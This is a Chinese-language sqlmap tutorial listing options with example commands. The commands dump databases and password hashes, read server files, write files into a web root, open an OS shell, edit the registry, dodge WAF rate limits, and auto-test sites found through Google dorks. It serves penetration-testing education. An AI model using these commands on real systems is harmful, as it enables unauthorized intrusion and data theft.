简介

- sqlmap是一个由python语言编写的开源渗透测试工具，它主要用来检测sql注入漏洞，是一款强大的sql漏洞检测利用工具

它可以检测的数据库

- MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

它可以扫描的漏洞

- sql盲注、union查询、显错注入、延迟注入、post注入、cookie注入等

其他功能

- 执行命令、列举用户、检测权限、自动破解、数据导出等

基本参数

简单使用

```
sqlmap.py -h  查看帮助选项
--is-dba    查看当前用户权限，如果为true则为最高权限
    --dbs            列出所有数据库

--current-db    网站当前数据库
    --users         所有数据库用户

--current-user  当前数据库用户
--passwords     列出用户密码
    只能用在mysql数据库且是管理员权限

--tables        列表名
--columns       列字段
--dump          获取表中的数据
    --dump-all      转存DBMS数据库所有表项目

--level         测试等级(1-5),默认为1
--roles     列出数据库管理员角色
--privileges    列出数据库管理员权限
```

```
--schema --batch --exclude-sysdbs
说明:
--schema    列系统加构
--batch     设置默认执行(在执行过程中选择y/n时,按照默认的执行)
--exclude-sysdbs    排除系统数据库
```

- 读取数据库--->读取表--->读取表中的列--->获取内容

```
--search     搜索
-D       指定数据库
-T       指定表
-C       指定列
--dbms=mysql     指定数据库(mysql,oracle,mssql等)
```

payload

```
sqlmap.py -u "url" --is-dba 查看当前用户权限
```

列数据库

```
sqlmap.py -u "url" --dbs
```

列表名

```
sqlmap.py -u "url" --tables -D security --count
说明：-D security 选择security数据库
--count 计算每一个表有多少行
```

列列名

```
sqlmap.py -u "url" --columns -T users -D security
说明：-T users 选择users表
```

列数据

```
sqlmap.py -u "url" --dump -C username,password -T users -D security
说明：-C unername 选择username列
```

过waf的话能尽量少输一些语句就少输一些,因为waf一是`拦截访问语句`,一是`拦截访问请求`,所以尽量减少访问请求
如果添加一个`--dbms=mysql`,则指明仅仅测试mysql的测试语句,也能节省时间

```
sqlmap.pu -u "url" --dbms=mysql
```

搜索指定数据

参数：--search

```
使用语法：
sqlmap.py -u "url" --search -D "dvwa" --db
说明：查找数据库dvwa
sqlmap.py -u "url" --search -T users --tables -D security
说明：查找users表
```

一般查询方式有两种：

- 模糊查询(like)，默认　　模糊匹配是只要包含查询的字符串就行
- 完整匹配(exact)

```
do you want sqlmap to consider provided database(s):
[1] as LIKE database names (default)模糊匹配
[2] as exact database names
```

探测等级

- 参数:`--level`
- 共有五个等级,默认为1,sqlmap使用的payload可以在data\xml\payloads中看到,你也可以根据相应的格式添加自己的payload 。(不能乱加，否则就影响注入了)
- 这个参数不仅影响使用哪些payload同时也会应i想测试的注入点，get和post的数据都会测试，`HTTP cookie`在`level`为2的时候就会测试，`HTTP User-Agent/Referer头`在`level`为3的时候就会测试
- 总之在你不确定哪个payload或者参数为注入点的时候，为了保证全面性，建议使用高级别的level值

显示调试信息

- -v 显示调试信息，共7个级别

```
0、只显示python错误以及严重的信息
1、同时显示基本信息和警告信息(默认)
2、同时显示debug信息
3、同时显示注入的payload
4、同时显示Http请求
5、同时显示http响应头
6、同时显示http相应页面
```

风险等级

- 参数：`--risk`
- 共有四个风险等级，默认是1会测试大部分的测试语句，2会增加基于事件的测试语句，3会增加OR语句的sql注入测试
- 在有些时候，例如在update的语句中，注入一个OR的测试语句，可能导致更新的整个表，可能造成很大的风险。
- 测试的语句同样可以在data\xml\payloads中找到，可以自行添加payload

```
sqlmap.py -u "url" --level 3 --risk 3
这样测试更全面一些
```

测试多个目标

- 从文本中获取多个目标扫描
- 参数：-m
- 1.txt文件中保存url格式如下，sqlmap会一个一个检测

```
127.0.0.1/vuln1.php?q=genter     字符型
127.0.0.1/vul2.asp?id=1      数字型
127.0.0.1/vuln3/id/1*        伪静态
```

```
sqlmap.py -m 1.txt -batch    默认检测
```

检测的结果在`C:\Users\Administrator\.sqlmap`内

处理Google搜索结果

- 参数：-g
- sqlmap可以测试注入Google的搜索结果中的get参数(只获取前100个结果)
- 使用google需要挂代理

```
sqlmap.py -g "inurl:php?id="
说明：通过谷歌搜索url中存在关键词php?id= 的网站，搜到后自动进行测试（边搜索边测试）
```

获取http请求头注入

- 参数 -r
- sqlmap可以从一个文本文件中获取http请求，这样就可以跳过设置一些其他参数
- 一般用于cookie注入、post注入、搜索型注入、http头注入和登录后的注入(使用登录后的cookie)
- 比如文本文件内如下：

```
post /vuln.php HTTP/1.1
HOST: 127.0.0.1
User-Agent: Mozilla/4.0
id=1
```

以post方式提交

- 参数：--data

```
sqlmap.py -u "url" --data="id=1"
```

参数拆分字符

- 参数：--param-del
- 当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。
- 一般用在有多个参数时

```
index.php?id=1&sid=123&asd=123
index.php?id=1;sid=123;asd=123
这种sqlmap是无法直接检测的，所以需要添加--param-del指明分隔符
```

例子：

```
sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --
param-del=";" -f --banner --dbs --users
```

cookie

- 参数：--cookie,--load-cookies,--drop-set-cookie
- 这个参数在以下两个方面很有用：

  1、web应用需要登陆的时候。

  2、当get访问页面报错时，可以使用post方式

  2、你想要在这些头参数中测试SQL注入时。
- 可以通过抓包把cookie获取到，复制出来，然后加到--cookie参数里。

  在HTTP请求中，遇到Set-Cookie的话，sqlmap会自动获取并且在以后的请求中加入，并且会尝试SQL注入。

  如果你不想接受Set-Cookie可以使用--drop-set-cookie参数来拒接。
- 使用--cookie参数时，当返回一个Set-Cookie头的时候，sqlmap会询问你用哪个cookie来继续接下来的请求。当--level的参数设定为2或者2以上的时候，sqlmap会尝试注入Cookie参数。
  HTTP User-Agent头

```
sqlmap.py -u "url" --cookie "phpssid=asadgadsfadadfa"
```

参数：--referer

- sqlmap可以在请求中伪造HTTP中的referer，当--level参数设定为3或者3以上的时候会尝试对referer注入。

```

```

参数：--headers

- 可以通过--headers参数来增加额外的http头

```
sqlmap.py -u "http://127.0.0.1/index.asp?id=1" --herders “client-ip: 1.1.1.1 " -
-level 3
```

参数：--proxy

- 使用--proxy代理的格式为：`http://url:port`
- 把提交的请求交给代理，然后由代理转发给服务器,经常用于过阿里云的注入

```
sqlmap.py -u "http://127.0.0.1/index.asp?id=1" --herders “client-ip: 1.1.1.1 " -
-level 3 --proxy "http://127.0.0.1:8080"
```

时间控制

参数：--delay

- 可以设定两个HTTP(S)请求间的延迟，设定为0.5的时候是半秒，默认是没有延迟的。

事实上sqlmap一秒是可以发送很多个请求包，而**安全狗**检测的时候就是检测一个ip一秒对网站访问的次数（假设安全狗设置为1秒访问次数不超过10次），如果超过10次就会屏蔽掉这个ip。

所以设置`--dealy=0.2`是0.2秒提交一次http请求

参数：--timeout

- 可以设定一个HTTP(S)请求超过多久判定为超时，10.5表示10.5秒，默认是30秒。
- 设定重试超时

参数：--retries

- 当HTTP(S)超时时，可以设定重新尝试连接次数，默认是3次。
- 设定随机改变的参数值

参数：--randomize

- 可以设定某一个参数值在每一次请求中随机的变化，长度和类型会与提供的初始值一样。

参数：--safe-url,--safe-freq

- 有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求，这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略，导致以后无法进行。

绕过这个策略有两种方式：

- 1、--safe-url：提供一个安全不错误的连接，每隔一段时间都会去访问一下。
  2、--safe-freq：提供一个安全不错误的连接，每次测试请求之后都会再访问一边安全连接。

参数：-p,--skip

- sqlmap默认测试所有的GET和POST参数，当--level的值大于等于2的时候也会测试HTTP Cookie头的值，当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。但是你可以手动用-p参数设置想要测试的参数。例如： -p "id,user-anget"
- 当你使用--level的值很大但是有个别参数不想测试的时候可以使用--skip参数。

参数：--prefix,--suffix

- 在有些环境中，需要在注入的payload的前面或者后面加一些字符，来保证payload的正常执行。

例如，代码中是这样调用数据库的：

```
$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";

怎么绕过呢
') and 1=1 #    或者
') and 1=1('
```

对sqlmap声明绕过方法

- 这时候就要使用--prefix和--suffix参数了：

```
sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p
id --prefix "')" --suffix "AND ('abc'='abc"

这样执行的SQL语句变成：

$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT
0, 1";
```

`--prefix "')" --suffix "AND ('abc'='abc"`

指定注入方式

- 参数：--technique
- 支持的探测方式如下：

```
B: Boolean-based blind SQL injection（布尔型注入）
E: Error-based SQL injection（报错型注入）
U: UNION query SQL injection（可联合查询注入）
S: Stacked queries SQL injection（可多语句查询注入）
T: Time-based blind SQL injection（基于时间延迟注入）
```

基于报错和联合查询注入

```
sqlmap.py -u "url" --tech=UE --flush-session --batch
说明：UE是U+E
--flush-sssion 清除缓存 --batch 设置默认
```

参数：--union-cols

- 默认情况下sqlmap测试UNION查询注入会测试1-10个字段数，当--level为5的时候他会增加测试到50个字段数。设定--union-cols的值应该是一段整数，如：12-16，是测试12-16个字段数。

参数：--union-char

- 默认情况下sqlmap针对UNION查询的注入会使用NULL字符，但是有些情况下会造成页面返回失败，而一个随机整数是成功的，这时你可以用--union-char只定UNION查询的字符。

```
union select 1,2,3,4,5  mysql的union用法
union select null,null,null,null,null   sqlmap的union用法
--union-char "set"  自己设置是用null，还是其他字符
```

二阶SQL注入

参数：--second-order

- 有些时候注入点输入的数据看返回结果的时候并不是当前的页面，而是另外的一个页面，这时候就需要你指定到哪个页面获取响应判断真假。
- --second-order后门跟一个判断页面的URL地址,以指定回显页面

```
sqlmap.py -u "url" --second-order "http://www.xx.com/bb.php"
```

--dump-all，--exclude-sysdbs

- 使用--dump-all参数获取所有数据库表的内容，可同时加上exclude-sysdbs只获取用户数据库的表
- 需要注意在sql server中master数据库没有考虑成为了一个系统数据库，因为有的管理员会把他当初用户数据库一样来使用它

  运行自定义的SQL语句

参数：--sql-query,--sql-shell

- sqlmap会自动检测确定使用哪种SQL注入技术，如何插入检索语句。

如果是SELECT查询语句，sqlap将会输出结果。如果是通过SQL注入执行其他语句，需要测试是否支持多语句执行SQL语句。

列举一个Mircrosoft SQL Server 2000的例子：

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --
sql-query "SELECT 'foo'" -v 1
```

参数：--udf-inject,--shared-lib

- 你可以通过编译MySQL注入你自定义的函数（UDFs）或PostgreSQL在windows中共享库，DLL，或者Linux/Unix中共享对象，sqlmap将会问你一些问题，上传到服务器数据库自定义函数
- 然后根据你的选择执行他们，当你注入完成后，sqlmap将会移除它们。

参数：-s

- sqlmap对每一个目标都会在output路径下自动生成一个sqlite文件，如果用户想指定读取的文件路径，就可以用这个参数
- 保存HTTP(s)日志

参数：-t

- 这个参数需要跟一个文本文件，sqlmap会把HTTP(s)请求与相应的日志保存到那里

```
sqlmap.py -u "url" -t C:\123.txt --dbs
说明：把每一个请求包和相应包写入123.txt文件内
```

强制使用字符编码

参数：--charset

- 不使用sqlmap自动是被的（如http头中的Content-type)字符编码。

- 强制指定字符编码如：--charset=gbk

参数：-hex

- 有时候字符编码的问题导致数据丢失，可以使用hex函数来避免

```
sqlmap.py -u "url" --banner --hex -v 3 --parse-errors
```

参数：--output-dir

- sqlmap默认把session文件跟结果文件保存在output文件夹下，用此参数课自定义输出路径
- 例如：--output-dir=/tmp
- 从响应中获取DBMS的错误信息

参数：--parse-errors

- 有时目标没有关闭DBMS的报错，当数据库语句错误时，会输出错误语句，用词参数可以会显出错误信息

参数：--smart

- 有时对目标非常多的url进行测试，为节省时间，只对能够快速判断为注入的报错点进行注入，可以使用此参数

```
sqlmap.py -u "url/index.php?ca=19&user=foo&id=1" --batch --smart
```

参数：--mobile

- 有时服务端只接收移动端 的访问，此时可以设定一个手机的User-Agent来模仿手机登录

```
sqlmap.py -u "url/val.php?id=1" --mobile
```

参数：--identify-waf

- sqlmap可以尝试找出WAF/IPS/IDS保护，方便用户找出绕过方式。

参数：--check-waf

- WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰，如果怀疑目标有此防护的话，可以使用此参数来测试，sqlmap将会使用一个不存在的参数来注入测试

例如对一个收到ModSecurity WAF保护的mysql例子

```
sqlmap.py -u "url/get_int.php?id=1" --identify-waf -v 3
```

注册表操作

- 当数据库为Mysql，postgresql或者sql server，并且当前web应用支持堆查询。当然，当前连接数据库的用户也需要有权限操作注册表

```
读取注册表值
参数：--reg-read
写入注册表
参数：--reg-add
删除注册表值
参数：--reg-del
注册表辅助选项
参数：--reg-key、--reg-value、--reg-data、--reg-type
    需要配合之前三个参数使用
```

例子：

```
sqlmap.py -u "url/index.asp?id=1" --reg-add --reg-
key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --
reg-data=1
```

暴力破解

表名

参数：--common-tables

- 当使用--tables无法获取到数据库的表时，可以使用此参数
- 通常是如下情况使用该参数
    - 1、Mysql数据库版本小于5.0。没有Information_schema表
    - 2、数据库是access，系统表MSysObjects是不可读的（默认）
    - 3、当前用户没有权限读取系统中保存树结构的表的权限。
- 暴力破解的表在data/txt/common-tables.txt文件中，可以自行添加

```
xx --common-tables -D testdb
```

- 一般union联合查询和显错注入可以直接跑出来所以用不到，若这两种注入使用的是access数据库和mysql5.0以下的数据库的话，就得使用这个参数了
- 时间盲注和延迟注入可能就会用到这个参数，因为他们都是加载字典去猜解数据的

列名

参数：--common-columns

- 与暴力破解表名一样，暴力跑的列名在data/txt/common-columns.txt中

```
xx --common-columns -T text -D testdb
```

post登录框注入

注入点：

```
http://textasp.vulnweb.com/Login.asp

几种注入方式：./sqlmap.py -r search-test.txt -p tfUPass
说明：-p 指定参数 -r 指定抓的请求包
```

```
sqlmap -u http://testasp.vulnweb.com/Login.asp --forms
说明： --forms  自动加载表单
sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1"
说明：--data   指定提交的参数进行探测
```

搜索框

```
sqlmap.py -r 1.txt
说明：1.txt是抓取搜索的http请求包
```

伪静态

```
注入点：http://127.0.0.1/index.php/index/view/40.html
sqlmap -u "http://127.0.0.1/index.php/index/view/40*.html"
说明：*的作用就告诉sqlmap在这里检测注入
```

延迟注入

参数：--time-sec

当使用继续时间的盲注时，时刻使用--time-sec参数设定延时时间，默认为5秒

请求时间延迟

--delay

base64编码注入

```
sqlmap -u http://127.0.0.1/index.php?tel=TLsasfa5SD2VSs4 --tamper
base64encode.py --dbs
```

执行sql语句

两种执行方式：

```
sqlmap.py -u "url/index.php?id=1" --sql-query="select @@version"
sqlmap.py -u "url/index.php?id=1" --sql-shell
说明：sql-shell指定执行select、和load_file读取文件，不能写入
```

- sqlmap会自动检测确定使用哪种sql注入技术，如何插入检索语句
- 如果是select查询语句，sqlmap将会输出结果。如果是通过sql注入执行其他语句，需要测试是否支持多语句执行sql语句

文件读取

从数据库服务器中读取文件

- 参数--file-read
- 当数据库为mysql，postgresql或sql server，并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件

```
sqlmap.py -u "http://127.0.0.1/about/spt.php?lang=cn&id=22" --file-
read="c:/Inetpub/wwwroot/mysql-php/1.php"
说明:读取服务器下的1.php文件
```

文件上传

```
sqlmap.py -u "http://127.0.0.1/about/spt.php?lang=cn&id=22" --file-
write="C:\abc.txt" --file-dest="c:/Inetpub/wwwroot/mysql-php/1.php"
说明: 把本地的abc.txt文件上传到服务器为1.php
```

命令执行

```
sqlmap -u "url" --os-shell
```

```
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
>
do you want sqlmap to further try to provoke the full path disclosure? [Y/n]
[18:39:10] [WARNING] unable to automatically retrieve the web server document
root
what do you want to use for writable directory?
[1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/')
(default)
[2] custom location(s)  //自定义路径
[3] custom directory list file  加载目录列表进行爆破
[4] brute force search   暴力搜索
>
```

提示信息

```
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads
specific for other DBMSes? [Y/n] y

for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n] y

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] n

do you want to store hashes to a temporary file for eventual further processing
with other tools [y/N]y
do you want to perform a dictionary-based attack against retrieved password
hashes? [Y/n/q]n

it is recommended to perform only basic UNION tests if there is not at least one
other (potential) technique found. Do you want to reduce the number of requests?
[y/N]y
```